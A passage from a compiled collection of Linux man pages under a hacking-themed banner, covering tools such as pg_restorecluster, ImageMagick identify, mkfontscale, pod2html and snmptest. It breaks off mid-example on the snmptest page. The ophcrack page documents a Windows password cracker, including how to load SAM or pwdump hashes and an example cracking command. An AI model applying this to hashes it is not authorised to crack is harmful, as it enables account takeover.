░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

809 - Linux cli command pg_restorecluster

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_restorecluster and provides detailed information about the command pg_restorecluster, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_restorecluster.

NAME 🖥️ pg_restorecluster 🖥️

Restore from a pg_backupcluster backup

SYNOPSIS

pg_restorecluster [options] version cluster backup

DESCRIPTION

pg_restorecluster restores a PostgreSQL cluster from a backup created by pg_backupcluster. The cluster will be newly created in the system using the name provided on the command line; this allows renaming a cluster on restore. The restored cluster configuration will be updated to reflect the new name and location.

The backup name passed must end in either .basebackup or .dump; usually this will be the full path to a backup directory in /var/backups/postgresql/version-cluster/ as reported by pg_backupcluster … list.

Basebackups are restored as-is. For dumps, pg_createcluster is used to create a new cluster, and schema and data are restored via pg_restore.

OPTIONS

-d –datadir DIR
Use DIR as data directory for the restored cluster (default per createcluster.conf, by default /var/lib/postgresql/version/cluster).

-p –port N
Use port N for restored cluster (default is next free port).

-s –start
Start cluster after restoring (default for restore from dump; off for basebackup restores). After the cluster has been started, ANALYZE is run on all databases.

–archive
Configure cluster for recovery from WAL archive. This sets restore_command to retrieve WAL files from backup**/../wal**.

–pitr TIMESTAMP

–recovery-target-time TIMESTAMP

Additionally to setting restore_command, set recovery_target_time to TIMESTAMP for point-in-time recovery. Also sets recovery_target_action=‘promote’.

–wal-archive DIR
For archive recovery, read WAL from archive DIR (default is backup**/../wal**).

FILES

/var/backups
Default root directory for cluster backup directories.

See pg_backupcluster (1) for a description of files.

SEE ALSO

pg_backupcluster (1), pg_restore (1), vacuumdb (1).

AUTHOR

Christoph Berg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

810 - Linux cli command hex2hcd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hex2hcd and provides detailed information about the command hex2hcd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hex2hcd.

NAME 🖥️ hex2hcd 🖥️

Broadcom Bluetooth firmware converter

DESCRIPTION

Broadcom Bluetooth firmware converter Usage:

hex2hcd [options] <file>

OPTIONS

-o, –output <file>
Provide firmware output file

-h, –help
Show help options

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

811 - Linux cli command identify-im6.q16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command identify-im6.q16 and provides detailed information about the command identify-im6.q16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the identify-im6.q16.

NAME 🖥️ identify-im6.q16 🖥️

describes the format and characteristics of one or more image files.

SYNOPSIS

identify-im6.q16 [options] input-file

OVERVIEW

The identify-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. It describes the format and characteristics of one or more image files. It also reports if an image is incomplete or corrupt. The information returned includes the image number, the file name, the width and height of the image, whether the image is colormapped or not, the number of colors in the image (by default off use -define unique=true option), the number of bytes in the image, the format of the image (JPEG, PNM, etc.), and finally the number of seconds it took to read and process the image. Many more attributes are available with the verbose option.

For more information about the identify command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/identify.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/identify.php.

DESCRIPTION

Image Settings: -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -antialias remove pixel-aliasing -authenticate value decrypt image with this password -channel type apply option to select image channels -clip clip along the first path from the 8BIM profile -clip-mask filename associate a clip mask with the image -clip-path id clip along a named path from the 8BIM profile -colorspace type alternate image colorspace -crop geometry cut out a rectangular region of the image -define format:option define one or more image format options -define unique=true return the number of unique colors in the image -density geometry horizontal and vertical density of the image -depth value image depth -endian type endianness (MSB or LSB) of the image -extract geometry extract area from image -features distance analyze image features (e.g. contrast, correlation) -format “string” output formatted image characteristics -fuzz distance colors within this distance are considered equal -gamma value of gamma correction -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -limit type value pixel cache resource limit -list type Color, Configure, Delegate, Format, Magic, Module, Resource, or Type -mask filename associate a mask with the image -matte store matte channel if the image has one -moments report image moments -monitor monitor progress -ping efficiently determine image attributes -precision value maximum number of significant digits to print -quiet suppress all warning messages -regard-warnings pay attention to warning messages -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -size geometry width and height of image -strip strip image of all profiles and comments -unique display the number of unique colors in the image -units type the units of image resolution -verbose print detailed information about the image -virtual-pixel method virtual pixel access method

Image Operators: -auto-orient automatically orient image -grayscale method convert image to grayscale -negate replace each pixel with its complementary color

Miscellaneous Options: -debug events display copious debugging information -help print program options -list type print a list of supported option arguments -log format format of debugging information -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

NOTE

Although some options appear to modify the file to be identified, the identify command is strictly read only. For instance, the crop option crops the in-memory image and then describes the result.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

812 - Linux cli command mkfontscale

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkfontscale and provides detailed information about the command mkfontscale, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkfontscale.

NAME 🖥️ mkfontscale 🖥️

create an index of scalable font files for X

SYNOPSIS

mkfontscale [ -b ] [ -s ] [ -o filename ] [ -x suffix ] [ -a encoding ]  . . . [ -f fuzz ] [ -l ] [ -e directory ] [ -p prefix ] [ -r prefix ] [ -n prefix ] [ -u | -U ] [ -v ] [ ] [ directory ]  . . .

DESCRIPTION

For each directory argument, mkfontscale reads all of the scalable font files in the directory. For every font file found, an X11 font name (XLFD) is generated, and is written together with the file name to a file fonts.scale in the directory.

The resulting fonts.scale file should be checked and possibly manually edited before being used as input for the mkfontdir(1) program.

OPTIONS

-b
read bitmap fonts. By default, bitmap fonts are ignored.

-s
ignore scalable fonts. By default, scalable fonts are read. If -b is set, this flag has the side effect of enabling the reading of fonts.scale files.

-o* filename*
send program output to filename; default is fonts.scale if bitmap fonts are not being read, and fonts.dir if they are. If filename is relative, it is created in the directory being processed. If it is the special value -, output is written to standard output.

-x* suffix*
exclude all files with the specified suffix.

-a* encoding*
add encoding to the list of encodings searched for.

-f* fuzz*
set the fraction of characters that may be missing in large encodings to fuzz percent. Defaults to 2%.

-l
Write fonts.dir files suitable for implementations that cannot reencode legacy fonts (BDF and PCF). By default, it is assumed that the implementation can reencode Unicode-encoded legacy fonts.

-e
specifies a directory with encoding files. Every such directory is scanned for encoding files, the list of which is then written to an “encodings.dir” file in every font directory.

-p
Specifies a prefix that is prepended to the encoding file path names when they are written to the “encodings.dir” file. The prefix is prepended literally: if a `/’ is required between the prefix and the path names, it must be supplied explicitly as part of the prefix.

-r
Keep non-absolute encoding directories in their relative form when writing the “encodings.dir” file. The default is to convert relative encoding directories to absolute directories by prepending the current directory. The positioning of this options is significant, as this option only applies to subsequent -e options.

-n
do not scan for fonts, do not write font directory files. This option is useful when generating encoding directories only.

-u, -U
disable (-u) or enable (-U) indexing of ISO 10646:1 font encodings (default: enabled).

-v
print program version and exit.


end of options.

SEE ALSO

X(7), Xserver(1), mkfontdir(1), ttmkfdir(1), xfs(1), xset(1)

NOTES

The format of the fonts.scale, fonts.dir and encodings.dir files is documented in the mkfontdir(1) manual page.

Mkfontscale will overwrite any fonts.scale file even if it has been hand-edited.

mkfontscale -b -s -l is equivalent to mkfontdir.

AUTHOR

The version of mkfontscale included in this X.Org Foundation release was originally written by Juliusz Chroboczek <[email protected]> for the XFree86 project. The functionality of this program was inspired by the ttmkfdir utility by Joerg Pommnitz.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

813 - Linux cli command pod2html

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pod2html and provides detailed information about the command pod2html, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pod2html.

NAME 🖥️ pod2html 🖥️

convert .pod files to .html files

SYNOPSIS

pod2html –help –htmldir=<name> –htmlroot=<URL> –infile=<name> –outfile=<name> –podpath=<name>:…:<name> –podroot=<name> –cachedir=<name> –flush –recurse –norecurse –quiet –noquiet –verbose –noverbose –index –noindex –backlink –nobacklink –header –noheader –poderrors –nopoderrors –css=<URL> –title=<name>

DESCRIPTION

Converts files from pod format (see perlpod) to HTML format.

ARGUMENTS

pod2html takes the following arguments:

backlink
–backlink –nobacklink Turn =head1 directives into links pointing to the top of the HTML file. –nobacklink (which is the default behavior) does not create these backlinks.

cachedir
–cachedir=name Specify which directory is used for storing cache. Default directory is the current working directory.

css
–css=URL Specify the URL of cascading style sheet to link from resulting HTML file. Default is none style sheet.

flush
–flush Flush the cache.

header
–header –noheader Create header and footer blocks containing the text of the “NAME” section. –noheader – which is the default behavior – does not create header or footer blocks.

help
–help Displays the usage message.

htmldir
–htmldir=name Sets the directory to which all cross references in the resulting HTML file will be relative. Not passing this causes all links to be absolute since this is the value that tells Pod::Html the root of the documentation tree. Do not use this and –htmlroot in the same call to pod2html; they are mutually exclusive.

htmlroot
–htmlroot=URL Sets the base URL for the HTML files. When cross-references are made, the HTML root is prepended to the URL. Do not use this if relative links are desired: use –htmldir instead. Do not pass both this and –htmldir to pod2html; they are mutually exclusive.

index
–index Generate an index at the top of the HTML file (default behaviour).

noindex
–noindex Do not generate an index at the top of the HTML file.

infile
–infile=name Specify the pod file to convert. Input is taken from STDIN if no infile is specified.

outfile
–outfile=name Specify the HTML file to create. Output goes to STDOUT if no outfile is specified.

poderrors
–poderrors –nopoderrors Include a “POD ERRORS” section in the outfile if there were any POD errors in the infile (default behaviour). –nopoderrors does not create this “POD ERRORS” section.

podpath
–podpath=name:…:name Specify which subdirectories of the podroot contain pod files whose HTML converted forms can be linked-to in cross-references.

podroot
–podroot=name Specify the base directory for finding library pods.

quiet
–quiet –noquiet Don’t display mostly harmless warning messages. –noquiet – which is the default behavior – does display these mostly harmless warning messages (but this is not the same as “verbose” mode).

recurse
–recurse –norecurse Recurse into subdirectories specified in podpath (default behaviour). –norecurse does not recurse into these subdirectories.

title: –title=title Specify the title of the resulting HTML file.

verbose
–verbose –noverbose Display progress messages. –noverbose – which is the default behavior – does not display these progress messages.

AUTHOR

Tom Christiansen, <[email protected]>.

BUGS

See Pod::Html for a list of known bugs in the translator.

SEE ALSO

perlpod, Pod::Html

COPYRIGHT

This program is distributed under the Artistic License.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

814 - Linux cli command x86_64-linux-gnu-gcc-ar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gcc-ar and provides detailed information about the command x86_64-linux-gnu-gcc-ar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gcc-ar.

NAME 🖥️ x86_64-linux-gnu-gcc-ar 🖥️

ar - a wrapper around ar adding the –plugin option

SYNOPSIS

gcc-ar [OPTION] … [ARGS…]

DESCRIPTION

gcc-ar is a wrapper around ar(1) adding the appropriate –plugin option for the GCC 13 compiler.

OPTIONS

See ar(1) for a list of options that ar understands.

SEE ALSO

ar(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

815 - Linux cli command mbim-network

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mbim-network and provides detailed information about the command mbim-network, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mbim-network.

NAME 🖥️ mbim-network 🖥️

network - Simple network management of MBIM devices

SYNOPSIS

mbim-network [OPTIONS] [DEVICE] [COMMAND]

DESCRIPTION

Simple network management of MBIM devices

Commands:

start
Start network connection

stop
Stop network connection

status
Query network connection status

OPTIONS

–profile=[PATH]
Use the profile in the specified path

–help, -h
Show help options

–version
Show version

Notes:

1) [DEVICE] is given as the full path to the cdc-wdm character device, e.g.:

/dev/cdc-wdm0

2) The mbim-network script requires a profile to work. Unless explicitly specified with `–profile’, the file is assumed to be available in the following path:

/etc/mbim-network.conf

3) The APN to use should be configured in the profile, in the following way (e.g. assuming APN is called ‘internet’):

APN=internet

4) Optional APN user/password strings may be given in the following way:

APN_USER=user APN_PASS=password

5) If APN user/password is specified, the authentication protocol to use (one of PAP, CHAP or MSCHAPV2) must also be specified in the following way:

APN_AUTH=protocol

6) If you want to instruct the mbim-network script to use the mbim-proxy setup, you can do so by configuring the following line in the profile:

PROXY=yes

7) Once the mbim-network script reports a successful connection you still need to run a DHCP client on the associated WWAN network interface.

COPYRIGHT

Copyright © 2013-2021 Aleksander Morgado License GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl-2.0.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The full documentation for mbim-network is maintained as a Texinfo manual. If the info and mbim-network programs are properly installed at your site, the command

info mbim-network

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

816 - Linux cli command ophcrack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ophcrack and provides detailed information about the command ophcrack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ophcrack.

NAME 🖥️ ophcrack 🖥️

a Microsoft Windows password cracker using rainbow tables.

DESCRIPTION

Ophcrack is a Windows password cracker based on a time-memory trade-off using rainbow tables.
This is a new variant of Hellman’s original trade-off, with better performance.
It recovers 99.9% of alphanumeric passwords in seconds.

Ophcrack works for Windows NT/2000/XP/Vista.

Ophcrack can be used with command line using the options below, or can be run as a pure graphical software.

If you have installed ophrack-cli package, graphical interface is not available.

SYNOPSIS

ophcrack [options]

OPTIONS

-a
disable audit mode (default)

-A
enable audit mode

-b
disable bruteforce

-B
enable bruteforce (default)

-c <file>
specify the config file to use

-D
display (lots of!) debugging information

-d <dir>
specify tables base directory

-e
do not display empty passwords

-f <file>
load hashes from the specified file (pwdump or session)

-g
disable GUI

-h
display this information

-i
hide usernames

-I
show usernames (default)

-l <file>
log all output to the specified file

-n <num>
specify the number of threads to use

-o <file>
write cracking output to file in pwdump format

-q
quiet mode

-r
launch the cracking when ophcrack starts (GUI only)

-s
disable session auto-saving

-S <session_file>
specify the file to use to automatically save the progress of the search

-u
display statistics when cracking ends

-t table1[,a[,b,…]][:table2[,a[,b,…]]]
specify which table to use in the directory given by -d

-v
verbose

-w <dir>
load hashes from encrypted SAM file in directory dir

-x
export data in CSV format to the file specified by -o

EXAMPLES

ophcrack -g -d /path/to/tables -t xp_free_fast,0,3:vista_free -f in.txt

Launch ophcrack in command line using tables 0 and 3 in /path/to/tables/xp_free_fast and all tables in /path/to/tables/vista_free and cracks hashes from pwdump file in.txt

SEE ALSO

Homepage: http://ophcrack.sourceforge.net/
Free rainbow tables: http://ophcrack.sourceforge.net/tables.php

AUTHOR

This manual page was written by Adam Cecile <[email protected]> for the Debian system (but may be used by others).
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

817 - Linux cli command ppmtv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtv and provides detailed information about the command ppmtv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtv.

.

NAME 🖥️ ppmtv 🖥️

make a PPM image look like taken from an American TV

SYNOPSIS

ppmtv dimfactor

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtv reads a PPM image as input and dims every other row of image data down by the specified dim factor. This factor may be in the range of 0.0 (the alternate lines are totally black) to 1.0 (original image).

This creates an effect similar to what I’ve once seen in the video clip ‘You could be mine’ by Guns’n’Roses. In the scene I’m talking about you can see John Connor on his motorbike, looking up from the water trench (?) he’s standing in. While the camera pulls back, the image gets ’normal’ by brightening up the alternate rows of it. I thought this would be an interesting effect to try in MPEG. I did not yet check this out, however. Try for yourself.

OPTIONS

There are no command line options defined specifically for ppmtv, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppm(1) , ppmdim(1)

AUTHOR

Copyright (C) 1993 by Frank Neumann

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtv.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

818 - Linux cli command snmptest

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmptest and provides detailed information about the command snmptest, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmptest.

NAME 🖥️ snmptest 🖥️

communicates with a network entity using SNMP requests

SYNOPSIS

snmptest [COMMON OPTIONS] AGENT

DESCRIPTION

snmptest is a flexible SNMP application that can monitor and manage information on a network entity.

After invoking the program, a command line interpreter proceeds to accept commands. This intepreter enables the user to send different types of SNMP requests to target agents.

AGENT identifies a target SNMP agent, which is instrumented to monitor the given objects. At its simplest, the AGENT specification will consist of a hostname or an IPv4 address. In this situation, the command will attempt communication with the agent, using UDP/IPv4 to port 161 of the given target host. See snmpcmd(1) for a full list of the possible formats for AGENT.

Once snmptest is invoked, the command line intepreter will prompt with:

Variable:

At this point you can enter one or more variable names, one per line. A blank line ends the parameter input and will send the request (variables entered) in a single packet, to the remote entity. Each variable name is given in the format specified in variables(5). For example:

snmptest -c public -v 1 zeus
Variable: system.sysDescr.0
Variable:

will return some information about the request and reply packets, as well as the information:

requestid 0x5992478A errstat 0x0 errindex 0x0
system.sysDescr.0 = STRING: “Unix 4.3BSD”

The errstatus value shows the error status code for the call. The possible values for errstat are in the header file snmp.h. The errindex value identifies the variable that has the given error. Index values are assigned to all the variables entered at the “Variable”: prompt. The first value is assigned an index of 1.

Upon startup, the program defaults to sending a GET request packet. The type of request can be changed by typing one of the following commands at the “Variable:” prompt:

$G - send a GET request
$N - send a GETNEXT request
$S - send a SET request
$B - send a GETBULK request
     Note: GETBULK is not available in SNMPv1
$I - send an Inform request
$T - send an SNMPv2 Trap request

Other values that can be entered at the “Variable:” prompt are:

$D - toggle the dumping of each sent and received packet
$QP - toggle a quicker, less verbose output form
$Q - Quit the program

Request Types:

GET Request:

When in “GET request” mode ($G or default), the user can enter an OID at the “Variable:” prompt. The user can enter multiple OIDs, one per prompt. The user enters a blank line to send the GET request.

GETNEXT Request:

The “GETNEXT request” mode ($N) is similar to the “Get request” mode, described above.

SET Request:

When in the “SET request” mode ($S), more information is requested by the prompt for each variable. The prompt:

Type [i|s|x|d|n|o|t|a]:

requests the type of the variable be entered. Depending on the type of value you want to set, you can type one of the following:

i - integer
u - unsigned integer
s - octet string in ASCII
x - octet string in hex bytes, separated by whitespace
d - octet string as decimal bytes, separated by whitespace
a - ip address in dotted IP notation
o - object identifier
n - null
t - timeticks

At this point a value will be prompted for:

Value:

If this is an integer value, just type the integer (in decimal). If it is a decimal string, type in white-space separated decimal numbers, one per byte of the string. Again type a blank line at the prompt for the variable name to send the packet.

GETBULK Request:

The “GETBULK request” mode ($B) is similar to the “Set request” mode. GETBULK, however, is not available in SNMPv1.

Inform Request:

The “Inform request” mode ($I) is similar to the “Set request” mode. This type of request, however, is not available in SNMPv1. Also, the _agent_ specified on the snmptest command should correspond to the target snmptrapd agent.

SNMPv2 Trap Request:

The “SNMPv2 Trap Request” mode ($T) is similar to the “Set request” mode. This type of request, however, is not available in SNMPv1. Also, the _agent_ specified on the snmptest command should correspond to the target snmptrapd agent.

OPTIONS

snmptest takes the common options described in the snmpcmd(1) manual page.

EXAMPLES

The following is an example of sending a GET request for two OIDs:

% snmptest -v 2c -c public testhost:9999

Variable: system.sysDescr.0
Variable: system.sysContact.0
Variable:
Received Get Response from 128.2.56.220
requestid 0x7D9FCD63 errstat 0x0 errindex 0x0
